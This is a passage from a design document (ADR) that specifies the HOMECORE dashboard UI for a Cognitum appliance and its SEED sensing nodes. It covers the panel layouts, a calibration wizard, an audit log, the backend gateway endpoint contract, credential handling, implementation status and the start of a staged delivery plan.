+- **Null specialist placeholders** — specialists not yet trained (`null` in the specialist bank) render as "Not trained" placeholders in `--t3` with a small "Calibrate to enable" prompt in ghost style. They are **not** errors.
+- **Confidence bars** — each specialist output has a confidence float, shown as a small inline bar (`--cyan` fill) next to the reading. Low confidence (< 0.4) renders the bar in `--amber`.
+- **Multi-SEED fusion indicator** — for rooms served by multiple SEEDs, show a small badge indicating how many SEED nodes contributed to the `MultiNodeMixture` for this room's reading.
+
+### 4.6 v0 Appliance COG Management
+
+The v0 Appliance hosts COGs at `/var/lib/cognitum/apps/`. This panel is the operational companion to the existing Cog Store (`seed.cognitum.one/store`). It must match the Cog Store's visual conventions precisely — same card layout, same category pills, same install/detail button pair — because operators will move between the two surfaces.
+
+- **Installed COGs list** — for each COG: `id` and `version` in `--mono`, architecture badge (`arm`/`hailo10` etc., category-pill pattern), status pill (running/stopped/failed/updating in green/grey/red/amber), `binary_sha256` verified badge (Ed25519 signature verification shown as a shield icon in `--green` or `--red`), and PID from the pid file. Actions: start, stop, restart (ghost style), and view `output.log` / `error.log` in a monospace drawer using `--mono`. Edit `config.json` inline with syntax highlighting.
+- **COG Store / App Registry** — browsable `app-registry.json` listing. This panel should visually mirror `seed.cognitum.one/store` as closely as possible — same featured-card hero layout, same icon + title + description + category pill + action button structure. One-click install downloads the binary from GCS, verifies `binary_sha256` + `binary_signature`, writes the manifest, and starts the COG. Show which new homecore entities will appear in the state machine after install, as a preview list before confirming.
+- **OTA Updates** — a badge count on installed COGs with available updates, matching the "Installed (N)" tab badge convention from the existing Cog Store. Show a diff panel (version change, new entities, config schema changes) before confirming the update.
+- **Hailo HEF status** — for COGs with `arch: hailo10`: loaded HEF files on the Hailo-10H, current inference throughput, and `ruvector-hailo-worker:50051` connection status. The RF Foundation Encoder ([ADR-150](ADR-150-rf-foundation-encoder.md)) and neural pose head display here once available.
+
+### 4.7 Calibration Wizard
+
+The full baseline → enroll → train → verify pipeline runs via HTTP against the v0 Appliance ([ADR-151](ADR-151-room-calibration-specialist-training.md)). This is a multi-step guided flow — not a raw API panel. Use a stepped wizard layout with a progress indicator at the top (steps 1–5 as numbered pills, active step in `--cyan`, completed in `--green`, pending in `--t3`).
+
+- **Step 1 — Select room and SEED** — enter a `room_id` name (validated against `[A-Za-z0-9_-]{1,64}`) and select which SEED(s) and ESP32 nodes serve this room from a dropdown populated from the live fleet. Show current CSI ingest health for the selected nodes inline — if frames are not arriving at the expected rate, display an amber warning **before** allowing the operator to proceed. A broken ingest pipeline will silently fail calibration.
+- **Step 2 — Baseline capture** — `POST /api/v1/calibration/start`. A large full-width animated progress bar (cyan fill) reads from `GET /api/v1/calibration/status`: frames recorded vs target, ETA in seconds, `z_median` value. If `motion_flagged` is true, overlay an amber banner: "Room must be empty — movement detected." The baseline UUID produced here is the anchor for all future STALE detection for this room — display it in `--mono` once complete so operators can record it.
+- **Step 3 — Anchor enrollment** — the 8 anchor labels in enforced order: `empty`, `stand_still`, `sit`, `lie_down`, `breathe_slow`, `breathe_normal`, `small_move`, `sleep_posture`. For each: a human-readable instruction with an illustration, a countdown timer rendered as a circular progress ring in `--cyan`, and an immediate quality-gate result (accepted in green, retry in amber with a reason string). Drive via `POST /api/v1/enroll/anchor` + `GET /api/v1/enroll/status`. After each accepted anchor, show the extracted feature values (mean, variance, breathing_score, heart_score) in a small `--mono` data row so operators can sanity-check the capture. Show overall progress as "N / 8 anchors accepted."
+- **Step 4 — Train** — a single `POST /api/v1/room/train` call. Show the 6 specialist results as a checklist: presence (threshold + occupied_var), posture (prototype count), breathing (min_score), heartbeat (min_score), restlessness (calm/active motion values), anomaly (prototype count + scale). Specialists that returned non-null render in `--green`. Null specialists (insufficient anchor data) render in `--amber` with a "Re-enroll missing anchors" prompt linking back to Step 3 for the specific missing labels.
+- **Step 5 — Verify live** — display the live `RoomState` for the just-trained room using the same per-room card layout as §4.5. Prompt the operator to stand in the room and verify presence is detected, try sitting/lying to confirm posture, and breathe normally to confirm vitals are in plausible range. A "Confirm and save" button (cyan, primary) closes the wizard; a "Something's wrong — re-enroll" button (ghost) loops back to Step 3.
+
+### 4.8 Event Bus & Automation Feed
+
+- **Live event stream panel** — a virtualized scrolling list of `SystemEvent` variants (`StateChanged`, `EntityRegistered`, `ConfigReloaded`) and notable `DomainEvent`s from the homecore Tokio broadcast channel. Each row shows: event-type pill (coloured by variant), `entity_id` in `--mono`, old state → new state arrow, timestamp, and `context.user_id`. The stream is filterable by entity domain, event type, or source SEED/COG. The filter bar uses the same search-input style as the Cog Store's search field.
+- **Context causality breadcrumb** — expanding any event row shows the full Context chain (`context.id` → `parent_id` → `grandparent_id`) as a breadcrumb trail in `--mono`. This is how automation loops become visible without any separate debugging tool.
+- **Automation builder** ([ADR-129](ADR-129-homecore-automation-engine.md) scope) — a trigger → condition → action editor on the card surface. The most important RuView-specific trigger types to support are: `state_changed` on `RoomState` entities with a threshold expression (e.g. `anomaly.value > 0.8`), SEED reflex-rule firing events (`fragility_alarm`, `hd_anomaly_indicator`), and custom `domain_event` topics. Actions include calling services in the homecore service registry and firing domain events. The condition expression editor uses `--mono`.
+
+### 4.9 Witness / Audit Log
+
+- **Unified witness timeline** — a chronological merged view of events from both tiers: the SEED's SHA-256 ingest chain (every RVF store write attested) and homecore's Ed25519 state-transition chain (biometric crossings, BFLD identity-risk elevations). Each row: `entity_id` in `--mono`, old/new state, timestamp, source SEED `device_id`, signing key fingerprint (first 8 chars in `--mono`). Pagination uses the same "Showing X–Y of Z" convention from the Cog Store's cog grid.
+- **Privacy mode banner** — a persistent top-of-panel banner showing current privacy mode: `--green-d`/green text for full-publish mode; `--amber-d`/amber text for audit-only mode (SHA-256 digests on-SEED only, no MQTT state messages). Show the per-SEED privacy mode state, since SEEDs can be individually configured. Toggling privacy mode is a high-stakes action — require an explicit "Confirm" step with a summary of what will change.
+- **Export bundle** — an "Export attestation bundle" button (ghost) that packages the SEED witness chain + homecore Ed25519 chain as a downloadable archive for regulated-deployment (care home, hotel, shared office) compliance handoff.
+
+### 4.10 Settings & Integration Config
+
+- **SEED fleet management** — add, remove, and reprovision SEEDs. Show the USB-only pairing requirement prominently (the pairing window only opens via `169.254.42.1`, not WiFi — a security invariant). Per-SEED: `device_id` in `--mono`, firmware version, bearer token status, and a "Rotate token" action (ghost) that walks the operator through the secure token rotation flow.
+- **ESP32 node provisioning** — per-node NVS config display (target IP, target port, node_id), last-seen firmware version, and a link to the provisioning script. The `node_id` → room/zone assignment is editable here and persists to the room calibration system's `room_id` mapping.
+- **MQTT / cog-ha-matter config** ([ADR-116](ADR-116-cog-ha-matter-seed.md)) — broker URL, credentials (masked), MQTT topic prefix, mDNS advertisement status (`_ruview-ha._tcp`), and a live connection indicator (green dot for connected, red for unreachable). The 21 HA-DISCO entities per node are listed here with their `via_device` assignments showing which SEED they belong to in HA's device registry.
+- **Long-lived access tokens** — for homecore-api companion-app connections (HA 2025.1 wire-compat, [ADR-130](ADR-130-homecore-rest-websocket-api.md)). Token creation, last-used timestamp, and revocation. The HA companion-app pairing QR-code flow surfaces here.
+- **Federation config** — for multi-SEED deployments: ESP-NOW mesh sync status, cross-SEED epoch alignment values, and federated-learning round settings (coordinator SEED, round cadence, Krum aggregation parameters per [ADR-105](ADR-105-federated-csi-training.md)). The design invariant **"model deltas only, never raw CSI"** must be labelled explicitly in this panel.
+
+---
+
+## 5. Navigation structure
+
+HOMECORE-UI must integrate into the existing Cognitum Appliance nav shell. The top nav should read:
+
+```
+Framework | Guide | Cog Store | HOMECORE | Status
+```
+
+— inserting **HOMECORE** as a first-class nav item between the existing "Cog Store" and "Status" entries, using the same nav-item style (text in `--t2`, active state in `--cyan` with bottom underline).
+
+Within the HOMECORE section, a left sidebar (or top sub-nav on narrow viewports) provides section navigation:
+
+```
+Dashboard | SEED Fleet | Entities | Rooms | COGs | Calibration | Events | Audit | Settings
+```
+
+The COG Store panel within HOMECORE (§4.6) links out to `seed.cognitum.one/store` for the full catalog view, ensuring the existing Cog Store remains the canonical browsing experience.
+
+---
+
+## 6. Key UX invariants
+
+These must be maintained across every panel:
+
+1. **Always make the tier origin of any data explicit.** A `RoomState` reading traces to an ESP32 node → SEED → COG → v0 Appliance state machine. The provenance badge (§4.4) must appear wherever entity states are displayed.
+2. **The `stale` and `vetoed` flags from `RoomState` and the kNN fragility score from SEED cognitive analysis are meaningful diagnostic signals** — they must never be silently hidden, styled grey-on-grey, or collapsed behind an expand toggle. They represent system health operators need to act on.
+3. **Values that are `null` because a specialist has not been trained must be visually distinct from values that are unavailable due to an error.** The distinction is operationally important: `null` means "calibrate to enable," unavailable means "investigate."
+4. **All entity IDs, hashes, API endpoints, binary signatures, device UUIDs, and JSON payloads must use `--mono` font.** This is already the convention in the API Explorer and must be consistent throughout HOMECORE-UI.
+5. **The v0 Appliance Hailo HAT is a separate subsystem from the SEED's edge compute.** Inference results tagged as Hailo-sourced (COGs with `arch: hailo10`) must be visually distinguished from results from CPU-only COGs (`arch: arm`) so operators can triage hardware-specific failures.
+
+---
+
+## 7. Scope — complete UI delivery
+
+The deliverable is the **entire** dashboard. Every panel below ships fully implemented and wired to its live data source — there is no scaffold-only milestone and no panel left as a placeholder. The table records each panel's authoritative backing API so the build can proceed in whatever order best fits the dependency graph; it is a dependency map, **not** a sequence of partial releases.
+
+| Panel | Section | Backing API / source |
+|---|---|---|
+| System Dashboard | §4.1 | [ADR-130](ADR-130-homecore-rest-websocket-api.md) WebSocket + appliance health endpoints |
+| SEED Detail View | §4.2 | SEED HTTPS API (vector store, witness, sensors, reflex, cognitive analysis) |
+| SEED Fleet Map | §4.3 | fleet topology + federation ([ADR-105](ADR-105-federated-csi-training.md)) |
+| Entity & State Browser | §4.4 | [ADR-127](ADR-127-homecore-state-machine-rust.md) state machine via [ADR-130](ADR-130-homecore-rest-websocket-api.md) `subscribe_events`; semantic search via [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) |
+| RoomState / Sensing | §4.5 | [ADR-151](ADR-151-room-calibration-specialist-training.md) `GET /api/v1/room/state` |
+| COG Management | §4.6 | [ADR-128](ADR-128-homecore-integration-plugin-system.md) plugin runtime + [ADR-100](ADR-100-cog-packaging-specification.md) app registry |
+| Calibration Wizard | §4.7 | [ADR-151](ADR-151-room-calibration-specialist-training.md) calibration HTTP API |
+| Event Bus & Automation | §4.8 | [ADR-130](ADR-130-homecore-rest-websocket-api.md) broadcast channel + [ADR-129](ADR-129-homecore-automation-engine.md) automation engine |
+| Witness / Audit Log | §4.9 | SEED SHA-256 ingest chain + homecore Ed25519 chain |
+| Settings & Integration | §4.10 | SEED provisioning, [ADR-116](ADR-116-cog-ha-matter-seed.md) MQTT/Matter, LLAT, federation |
+
+### 7.1 Build sequencing within the complete deliverable
+
+The complete UI depends on backing services that mature on their own timelines. Each panel is built against the **real gateway endpoint** defined in §11; where the upstream is not yet available the panel renders a typed empty/error state, **not** fabricated data (the dev-only `?demo=1` fixture of §2.2 exists for offline development only and is never the shipped behaviour). Concretely, the hard contract dependencies are: [ADR-130](ADR-130-homecore-rest-websocket-api.md) (REST + WebSocket), [ADR-127](ADR-127-homecore-state-machine-rust.md) (state machine), [ADR-151](ADR-151-room-calibration-specialist-training.md) (calibration), [ADR-128](ADR-128-homecore-integration-plugin-system.md) (plugin runtime), [ADR-129](ADR-129-homecore-automation-engine.md) (automation), [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) (event history + semantic search), [ADR-116](ADR-116-cog-ha-matter-seed.md) (SEED/Matter), [ADR-069](ADR-069-cognitum-seed-csi-pipeline.md) (SEED ingest), and [ADR-105](ADR-105-federated-csi-training.md) (federation). The keyword entity filter (§4.4) ships immediately; semantic search layers on once [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) lands. The exact panel→endpoint→upstream map and the new gateway code each requires are §11; the staged delivery is §12.
+
+---
+
+## 8. Consequences
+
+### 8.1 Positive
+
+- Operators, integrators, and residents get a single coherent surface for the full two-tier stack, replacing the need to SSH into SEEDs or hand-craft API calls.
+- The dashboard reuses the proven Cognitum design tokens and component patterns verbatim, so it ships visually consistent with no separate design effort and no perceptible seam between surfaces.
+- Diagnostic signals that today are invisible (`stale`/`vetoed` flags, kNN fragility, provenance lineage, channel lag) become first-class, surfacing the system's most common real-world failure modes directly to operators.
+
+### 8.2 Negative / risks
+
+- The UI hard-depends on the wire-compat guarantees of ADR-130 and the calibration contract of ADR-151; schema drift in either breaks panels silently. Integration tests against every backing contract in §7 are required.
+- Committing to the complete UI in one deliverable is a larger up-front effort and couples the UI's readiness to the maturity of multiple backing services (§7.1, §11). The mitigation is the BFF gateway (§2.1): each panel targets one same-origin endpoint, and the gateway absorbs upstream churn behind a stable contract.
+- Promoting `homecore-server` to a gateway means it now **proxies cross-tier traffic** (calibration API, SEED HTTPS, appliance daemons). This adds a network hop, a place for upstream timeouts/partial failures to surface, and a server-side store of SEED bearer tokens that must be protected (§11.10). Each proxied route needs an explicit timeout + typed error mapping so one slow SEED cannot stall the dashboard.
+- Several panels depend on data that only exists on **real hardware or new daemons** (SEED device tier, appliance host metrics, COG supervisor). Until those upstreams exist the corresponding gateway routes return `503 upstream_unavailable`; this is honest but means the dashboard is only as "live" as the tiers behind it (§11 classifies every endpoint by what it depends on).
+- Faithfully mirroring `seed.cognitum.one/store` couples HOMECORE-UI to the external Cog Store's evolving design; token drift there must be tracked and re-synced.
+- The two-tier mental model (Appliance root, SEED children, ESP32 leaves) must be enforced consistently; any panel that flattens or peers the tiers undermines the core architectural constraint.
+
+---
+
+## 9. References
+
+- `https://seed.cognitum.one/store` — primary design reference for all visual conventions.
+- `https://seed.cognitum.one/status` — reference for live metric-card layout.
+- [ADR-126](ADR-126-ruview-native-ha-port-master.md) — HOMECORE master ADR.
+- [ADR-127](ADR-127-homecore-state-machine-rust.md) — HOMECORE-CORE state machine and entity registry.
+- [ADR-128](ADR-128-homecore-integration-plugin-system.md) — HOMECORE-PLUGINS WASM COG substrate.
+- [ADR-129](ADR-129-homecore-automation-engine.md) — HOMECORE automation engine.
+- [ADR-130](ADR-130-homecore-rest-websocket-api.md) — HOMECORE-API REST + WebSocket wire-compat.
+- [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) — homecore-recorder, history + semantic search.
+- [ADR-100](ADR-100-cog-packaging-specification.md) — Cognitum Cog packaging specification (manifest.json, status values, on-device layout).
+- [ADR-116](ADR-116-cog-ha-matter-seed.md) — cog-ha-matter (SEED cog, HA-DISCO entity surface, mDNS).
+- [ADR-069](ADR-069-cognitum-seed-csi-pipeline.md) — ESP32 CSI → Cognitum SEED RVF ingest pipeline (SEED architecture detail).
+- [ADR-105](ADR-105-federated-csi-training.md) — Federated CSI training (multi-SEED federation).
+- [ADR-151](ADR-151-room-calibration-specialist-training.md) — Per-room calibration specialist training (calibration HTTP API).
+- `v2/crates/homecore/src/` — state machine, entity, event, registry source.
+- `docs/integration/calibration-appliance-integration.md` — calibration API contract and RoomState schema.
+
+---
+
+## 10. Implementation status
+
+Implemented as a zero-dependency, no-build-step vanilla TS/JS + CSS frontend served by `homecore-server` at `/homecore` (the `rufield-viewer` "Axum + vanilla-JS" pattern). The complete deliverable per §2/§7 — all ten panels, fully rendered, wired to live data where the backing service exists and to a contract-conformant DEMO-flagged mock layer (§7.1) where it does not.
+
+**Location:** `v2/crates/homecore-server/ui/` — `css/tokens.css` (the §3.1 palette, verbatim) + `css/app.css` (§3.3 components); `js/{ui,api,ws,mock,app}.js` (shared helpers, REST client, `subscribe_events` WS client, mock layer, shell+router); `js/panels/*.js` (one module per §4 panel). Mounted via `tower-http` `ServeDir` in `homecore-server::build_app`, gated by `--ui-dir`/`HOMECORE_UI_DIR`.
+
+**Verification:**
+- **Rust** — `#[cfg(test)] mod ui_tests` in `homecore-server/src/main.rs`: 5 integration tests (`tower::oneshot`) covering index, design tokens, all ten panel modules served, API coexistence, and mount-disable. *Written but not compiled in the authoring environment (no Rust toolchain present); run `cargo test -p homecore-server` on a Rust host before merge.*
+- **Frontend** — `ui/` test suite under plain `node` (no npm install): `npm test` → import/export graph verifier (15 modules) + render-smoke (executes every panel against a DOM shim; 21 checks) + interaction suite (live WS patch, ws.js handshake/parse, calibration contract; 3 checks). **24/24 green.**
+- **Benchmark** — `npm run bench`: total bundle **136.8 KB** uncompressed (**~37× smaller** than HA's ~5 MB Lit bundle, the ADR-126 §1.1 foil); slowest panel **1.5 ms/cold-render**.
+
+**Honest scope — current vs. target.** *Earlier cut:* the front-end was complete but only §4.4 Entities was wired to a real backend; the rest rendered from an in-browser mock. *This revision implements the §11 wiring:*
+
+- **Front-end (§11.11) — DONE and verified.** `api.js` rewritten: all data accessors are async and call the §11.2 gateway routes; the mock layer is demoted to a dev-only fixture reachable **only** under `?demo=1` / `HOMECORE_UI_DEMO` (§2.2); every panel `await`s and renders a typed empty/error state on failure (no mock fallback in production). All ten panels converted (3 by hand, 7 via parallel agents). Verified under Node: 5 test files green — import graph, boot, render-smoke (22), interaction (3), **and a new prod-errors suite (13) that runs with demo OFF + gateway unreachable and asserts every panel renders an error state, never mock, never throws** (it caught and fixed a real unhandled-rejection in the events panel).
+- **Gateway (§11.1–§11.6) — IMPLEMENTED, COMPILED, TESTED, RUN.** New `homecore-server/src/gateway.rs` (+`reqwest` dep, +CLI/env flags `--calibration-url`/`--calibration-token`/`--apps-dir`/`--gateway-timeout-ms`, merged into `build_app` via `gateway_router`). Real handlers: `/api/cal/*` reverse-proxy (W2), `GET /api/homecore/rooms` with the §11.3 RoomState adapter (W2), `GET /api/homecore/cogs` supervisor over the apps dir (W4), `GET /api/homecore/appliance` from `/proc` + port probes (W6). SEED-device/appliance-daemon routes (seeds, federation, witness, privacy, settings, automations, events-history, hailo, tokens — W3/W5) return a typed `503 upstream_unavailable` per §11.2. **Verified on Rust 1.89: `cargo test -p homecore-server --no-default-features` = 12/12 pass** (6 gateway + 6 UI mount). **Run live:** `GET /api/homecore/appliance` returns real `/proc` metrics + TCP service probes; unauth → `401`; `cogs` → `[]` with no apps dir; SEED-tier → typed `503`; and against a mock calibration upstream the `/api/cal/*` proxy passes through (`200`) and `GET /api/homecore/rooms` correctly adapts `RoomState` to the UI shape (`breathing`→`breathing_bpm`, `heartbeat:null`→`heart_bpm:null`, injected `anomaly.threshold`/`room_id`, `stale` passthrough). **Live testing caught + fixed one real bug** — a double-`v1` path in the `/api/cal/*` proxy URL.
+
+The endpoint-by-endpoint contract is **§11**; the staged plan and which endpoints depend on real SEED/appliance hardware vs. pure software is **§12**.
+
+---
+
+## 11. Backend wiring — making every panel real
+
+This section is the authoritative contract for full functionality. It removes the mock layer from the production path (§2.2) by routing every panel through the `homecore-server` BFF gateway (§2.1). Each endpoint is classified by what it depends on:
+
+- **EXISTS** — backend code already in this repo; gateway only proxies/adapts.
+- **NEW-GW** — pure software the gateway itself implements (filesystem, `/proc`, process control, recorder query) — no new external service.
+- **NEW-API** — a small HTTP wrapper to add to an existing in-repo crate (`homecore-api`, `homecore-automation`).
+- **SEED-DEV** — depends on a SEED node's on-device HTTPS API (separate hardware/firmware).
+- **APPLIANCE** — depends on an appliance daemon / accelerator stat source.
+
+### 11.1 Gateway shape
+
+`homecore-server` already mounts `homecore-api` at `/api/*` and the UI at `/homecore`. It gains a new **`/api/homecore/*`** namespace (the dashboard-specific aggregation surface) plus a **`/api/cal/*`** reverse-proxy to the calibration service. The browser issues only same-origin requests; the gateway fans out server-side, holding all upstream credentials (§11.10). Every proxied route has an explicit timeout and maps upstream failure to a typed body (`503 upstream_unavailable`, `504 upstream_timeout`) so one slow tier never stalls the dashboard.
+
+### 11.2 Master endpoint contract (panel → gateway route → upstream → status)
+
+| Panel | UI method (`api.js`) | Gateway route | Upstream / source | Class |
+|---|---|---|---|---|
+| §4.4 Entities | `states()` | `GET /api/states` | `homecore` state machine | **EXISTS** ✅ wired |
+| §4.4/§4.8 live feed | WS | `GET /api/websocket` (`subscribe_events`) | `homecore` event bus | **EXISTS** ✅ wired |
+| §4.8 Event history | `eventHistory(q)` | `GET /api/events?since=…` | `homecore-recorder` ([ADR-132](ADR-132-homecore-recorder-history-semantic-search.md)) | **NEW-API** |
+| §4.8 Automations | `automations()` / `saveAutomation()` | `GET/POST/DELETE /api/homecore/automations` | `homecore-automation` ([ADR-129](ADR-129-homecore-automation-engine.md)) | **NEW-API** |
+| §4.5 Rooms | `roomStates()` | `GET /api/homecore/rooms` → per-room `GET /api/cal/v1/room/state?bank=` | `calibrate-serve` ([ADR-151](ADR-151-room-calibration-specialist-training.md)) | **EXISTS** (proxy + adapter) |
+| §4.7 Calibration | `calibration.*` | `POST /api/cal/v1/calibration/{start,stop}`, `GET …/status`, `POST …/enroll/anchor`, `GET …/enroll/status`, `POST …/room/train` | `calibrate-serve` | **EXISTS** (proxy) |
+| §4.6 COGs | `cogs()` / `cogAction()` / `cogLogs()` | `GET /api/homecore/cogs`, `POST …/cogs/:id/{start,stop,restart}`, `GET …/cogs/:id/logs`, `GET/PUT …/cogs/:id/config` | COG supervisor over `/var/lib/cognitum/apps/` ([ADR-100](ADR-100-cog-packaging-specification.md)/[ADR-128](ADR-128-homecore-integration-plugin-system.md)) | **NEW-GW** |
+| §4.6 Hailo HEF | `hailo()` | `GET /api/homecore/hailo` | `ruvector-hailo-worker:50051` | **APPLIANCE** |
+| §4.1 Appliance health | `appliance()` | `GET /api/homecore/appliance` | host `/proc` + Hailo stats + service probes | **NEW-GW** (+APPLIANCE for Hailo) |
+| §4.1/§4.2 Fleet + SEED detail | `seeds()` / `seed(id)` | `GET /api/homecore/seeds`, `GET …/seeds/:id` | SEED device HTTPS API ([ADR-069](ADR-069-cognitum-seed-csi-pipeline.md)) via registry | **SEED-DEV** |
+| §4.2 SEED actions | `seedCompact()` / `seedVerify()` | `POST …/seeds/:id/{compact,witness/verify}` | SEED device API | **SEED-DEV** |
+| §4.3 Federation | `federation()` | `GET /api/homecore/federation` | federation coordinator ([ADR-105](ADR-105-federated-csi-training.md)) | **SEED-DEV/APPLIANCE** |
+| §4.9 Witness/Audit | `witnessLog(p,s)` | `GET /api/homecore/witness?page=…` | merge: `homecore` Ed25519 chain + per-SEED SHA-256 chains | **NEW-API + SEED-DEV** |
+| §4.9 Privacy mode | `privacyModes()` / `setPrivacy()` | `GET/POST /api/homecore/privacy` | SEED privacy control plane ([ADR-141](ADR-141-bfld-privacy-control-plane-modes-attestation.md)) + cog-ha-matter | **SEED-DEV** |
+| §4.9 Export bundle | `exportAttestation()` | `GET /api/homecore/witness/export` | gateway packages both chains | **NEW-GW** |
+| §4.10 Tokens (LLAT) | `tokens()` / `createToken()` / `revokeToken()` | `GET/POST/DELETE /api/homecore/tokens` | `homecore-api` `LongLivedTokenStore` | **NEW-API** |
+| §4.10 MQTT/Matter | `mqttConfig()` | `GET /api/homecore/integrations/mqtt` | cog-ha-matter config ([ADR-116](ADR-116-cog-ha-matter-seed.md)) | **NEW-GW/SEED-DEV** |
+| §4.10 ESP32 provisioning | `nodes()` / `assignRoom()` | `GET/PUT /api/homecore/nodes` | SEED ingest config ([ADR-069](ADR-069-cognitum-seed-csi-pipeline.md)) | **SEED-DEV** |
+| §4.10 SEED mgmt | `pairSeed()` / `rotateToken()` | `POST /api/homecore/seeds/{pair,:id/rotate-token}` | SEED pairing (USB `169.254.42.1`) | **SEED-DEV** |
+
+### 11.3 Calibration proxy + RoomState adapter
+
+The calibration service is real but on a different binary/port; the gateway reverse-proxies it under `/api/cal/*` (upstream base from `HOMECORE_CALIBRATION_URL`). Its `RoomState` (`wifi-densepose-calibration/src/runtime.rs`) does **not** match the UI's shape, so the gateway adapts it in `GET /api/homecore/rooms`:
+
+| Real field (`RoomState`) | UI field | Adapter rule |
+|---|---|---|
+| `breathing: Option<SpecialistReading>` | `breathing_bpm: {value,confidence}\|null` | rename; `value`=`reading.value`, `confidence`=`reading.confidence`; `None`→`null` (preserves "not trained") |
+| `heartbeat: Option<…>` | `heart_bpm: {…}\|null` | rename `heartbeat`→`heart_bpm` |
+| `presence/posture/restlessness` | same names `{value,confidence}\|null` | `posture.value`=`reading.label` (class), else numeric |
+| `anomaly: Option<…>` | `anomaly: {value,confidence,threshold}` | inject `threshold`=`MixtureOfSpecialists.veto_threshold` (0.5) |
+| `vetoed` / `stale` | `vetoed` / `stale` | pass through (drives the §4.5/§6 banners) |
+| *(absent)* | `room_id`, `seeds[]` | injected by the gateway from the **room registry** |
+
+A **room registry** (config or derived from `GET /api/cal/v1/calibration/baselines`) maps each `room_id` → bank name + serving SEED ids, so `GET /api/homecore/rooms` returns one adapted record per room. `Option::None` → JSON `null` keeps the null-vs-withheld distinction (§6 invariant 3) intact end-to-end.
+
+### 11.4 SEED registry & device-API proxy
+
+The gateway holds a **SEED registry** (`device_id` → base URL + bearer token + zone), populated by pairing (§4.10) and persisted server-side. `GET /api/homecore/seeds[/:id]` fans out to each SEED's on-device API and shapes the result to the §4.2 card/detail model. Expected SEED-side endpoints (the contract the SEED firmware must satisfy — a subset of its 98 endpoints): health; vector-store stats (`vector_count`, `dim`, `epoch`, `knn_latency_ms`, ingest rate); witness (`len`, `last_verify`, `valid`) + `POST verify`; onboard sensors (BME280/PIR/reed/ADS1115/vibration); reflex rules + thresholds; cognitive analysis (fragility, coherence phases); ingest feeders (ESP32 node ids + packet type `0xC5110003`/`0xC5110002` + rate). Offline/unreachable SEEDs surface as `online:false` (drives the §4.1 red tint) rather than failing the whole list.
+
+### 11.5 Appliance metrics collector (§4.1)
+
+`GET /api/homecore/appliance`, implemented in the gateway: CPU/RAM/uptime from `/proc`; Hailo load + temperature from the Hailo runtime/sysfs (or `ruvector-hailo-worker` stats); service health by probing `ruview-mcp-brain:9876`, `cognitum-rvf-agent:9004`, `ruvector-hailo-worker:50051`; event-bus rate from the `homecore` broadcast channel + its lag counter (already exposed for §4.1/§4.4).
+
+### 11.6 COG supervisor (§4.6)
+
+`GET /api/homecore/cogs`: read each `/var/lib/cognitum/apps/*/manifest.json` ([ADR-100](ADR-100-cog-packaging-specification.md)), the pid file, and verify `binary_sha256` + `binary_signature` (Ed25519) → status/shield. `POST …/cogs/:id/{start,stop,restart}` performs supervised process control; `GET …/cogs/:id/logs` tails `output.log`/`error.log`; `GET/PUT …/cogs/:id/config` reads/writes `config.json`. Hailo-arch COGs join the §11.5 Hailo stats. The Cog Store/App-Registry **browsing** panel was removed per product decision; this is operational management only.
+
+### 11.7 Witness aggregation + privacy (§4.9)
+
+`GET /api/homecore/witness` merges two chains chronologically: the `homecore` Ed25519 state-transition chain (exposed by a small `homecore-api` route over its witness log) and each paired SEED's SHA-256 ingest chain (proxied via the registry), paginated server-side. `GET/POST /api/homecore/privacy` reads/sets per-SEED privacy mode via the SEED privacy control plane ([ADR-141](ADR-141-bfld-privacy-control-plane-modes-attestation.md)) — the POST is the high-stakes confirmed toggle (§4.9). `GET /api/homecore/witness/export` packages both chains into the downloadable attestation bundle.
+
+### 11.8 Event history + automation CRUD (§4.8)
+
+`homecore-api` adds `GET /api/events?since=…` backed by `homecore-recorder` ([ADR-132](ADR-132-homecore-recorder-history-semantic-search.md)) for history (live updates continue over the existing WS). The automation builder persists through `GET/POST/DELETE /api/homecore/automations`, a thin HTTP wrapper over the `homecore-automation` engine's register/list/remove ([ADR-129](ADR-129-homecore-automation-engine.md)). RuView-specific triggers (RoomState thresholds, SEED reflex events) map onto the engine's trigger types.
+
+### 11.9 Entity provenance convention (§4.4/§6)
+
+The first-class provenance badge requires each entity to carry its lineage. Convention: every integration writes `attributes.source` (and, where known, `attributes.seed` / `attributes.cog`) when it sets state; `cog-ha-matter` ([ADR-116](ADR-116-cog-ha-matter-seed.md)) populates these from the ESP32 node → SEED → COG path and HA `via_device`. The gateway/UI resolves node→seed→cog from these attributes (no fabrication; missing lineage renders as "unknown", not invented).
+
+### 11.10 Auth, credentials, config
+
+- **Browser → gateway:** one long-lived access token (the §4.10 LLAT), sent as `Authorization: Bearer`; validated by `homecore-api`'s `LongLivedTokenStore`. The dev default (`allow_any_non_empty`) stays for local runs; production provisions `HOMECORE_TOKENS`.
+- **Gateway → upstreams:** SEED bearer tokens and the calibration token live **only** server-side (SEED registry + `HOMECORE_CALIBRATION_TOKEN`); never sent to the browser. This is the reason the gateway exists.
+- **Config:** `HOMECORE_CALIBRATION_URL`, SEED registry store path, per-proxy timeout (default 2 s), `HOMECORE_UI_DEMO` (dev fixture). No browser CORS needed (same origin); gateway→upstream is server-to-server.
+
+### 11.11 Front-end changes
+
+`api.js`: drop the mock fallback from the production path — methods call the §11.2 gateway routes; `this.base` stays same-origin; the mock layer is reachable only under `?demo=1`/`HOMECORE_UI_DEMO`. Every panel renders a **typed empty/error state** (not mock) when its route returns `503/504`. `mock.js` moves to a dev fixture (kept for the offline test harness, excluded from the production bundle). The §10 frontend tests are re-pointed at the gateway contract (and gain contract tests per §11.2 route).
+
+---
+
+## 12. Delivery plan to full functionality
+
+Staged so each wave is independently shippable behind the gateway, lands real data for a coherent set of panels, and has an explicit acceptance gate. "Class" reuses §11's tags.
+
+| Wave | Scope | Class | Acceptance gate |
+|---|---|---|---|
+| **W1 — Gateway foundation** | `/api/homecore/*` scaffold in `homecore-server`; auth passthrough; per-proxy timeout + typed errors; `api.js` base + remove prod mock (`?demo=1` only); panels get typed empty/error states | NEW-GW | Entities + live WS still green; with no upstreams, every other panel shows "upstream unavailable", **never** mock (unless `?demo=1`); Rust + JS suites pass |
